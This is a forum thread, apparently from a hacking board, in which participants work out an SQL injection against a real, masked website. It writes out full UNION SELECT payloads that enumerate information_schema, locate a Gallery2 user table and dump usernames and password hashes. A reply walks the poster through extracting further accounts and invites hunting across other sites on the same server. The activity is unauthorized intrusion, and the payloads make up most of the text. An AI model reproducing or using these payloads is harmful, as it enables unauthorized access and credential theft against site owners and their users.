SQL Injection Issue

I recently found an SQL Injection on some site. MySQL version on the server is 5.0.x so information_schema table exists.

Code:
http://***********.org/kom.php?akcja=dodaj&parentid=0+UNION+SELECT+1,UNHEX(HEX(table_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.tables+LIMIT+1+OFFSET+67/*


By looking through tables I found a table called g2_User. Querying google for the table name revealed that I'm dealing with a script called Gallery2. The problem is that whenever I try to SELECT FROM table g2_User, it returns invalid MySQL result.

Code:
http://***********.org/kom.php?akcja=dodaj&parentid=0+UNION+SELECT+1,UNHEX(HEX(concat_ws(0x3a,g_userName,g_hashedPassword))),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+g2_User/*


Same happens with all tables with g2_ prefix. Why?

I can give site via PM.

Thanks in advance.

Ok, sending you the site.

Btw, I've also tried

Code:
http://***********.org/kom.php?akcja=dodaj&parentid=0+UNION+SELECT+1,UNHEX(HEX(database())),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*


and then

Code:
http://***********.org/kom.php?akcja=dodaj&parentid=0+UNION+SELECT+1,UNHEX(HEX(concat_ws(0x3a,g_userName,g_hashedPassword))),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+databasename.g2_User/*


but it didn't work as well.

OK, I already thought so.
So:
with this injection, I found that the prefix for g2_User is creatiff.
Code:
http://*****.org/kom.php?akcja=dodaj&parentid=0+union+select+1,UNHEX(HEX(table_schema)),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where+table_name=0x67325f55736572/*


Then another injection to find user:

Code:
http://*****.org/kom.php?akcja=dodaj&parentid=0+UNION+SELECT+1,UNHEX(HEX(concat_ws(0x3a,g_userName,g_hashedPassword))),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+creatiff.g2_User+limit+1,2/*


Changing code will display you other users... Wink

But where are that Gallery2, you need to find your own, because there are ~17 sites on this server, so look where are that Gallery2.. Smile

Good luck.. Wink
